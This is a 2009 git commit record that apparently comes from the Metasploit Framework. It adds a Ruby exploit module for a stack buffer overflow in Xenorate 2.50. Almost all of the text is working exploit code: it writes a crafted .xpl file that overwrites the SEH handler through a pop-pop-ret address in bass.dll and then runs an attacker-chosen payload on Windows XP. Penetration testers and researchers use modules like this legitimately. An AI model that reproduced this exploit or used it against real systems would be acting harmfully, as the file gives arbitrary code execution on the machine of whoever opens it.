add exploit module for xenorate bof

git-svn-id: file:///home/svn/framework3/trunk@7818 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2009-12-10 23:19:44 +00:00
parent c94c2ee892
commit 18f96c3395
1 changed files with 74 additions and 0 deletions

View File

@ -0,0 +1,74 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)',
'Description' => %q{
This module exploits a stack overflow in Xenorate 2.50
By creating a specially crafted xpl file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hack4love <hack4love [at] hotmail.com>',
'germaya_x',
'loneferret',
'jduck'
],
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10371' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 5100,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll
],
'Privileged' => false,
'DisclosureDate' => 'Aug 19 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.xpl']),
], self.class)
end
def exploit
sploit = rand_text_alpha_upper(88)
sploit << generate_seh_payload(target.ret)
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end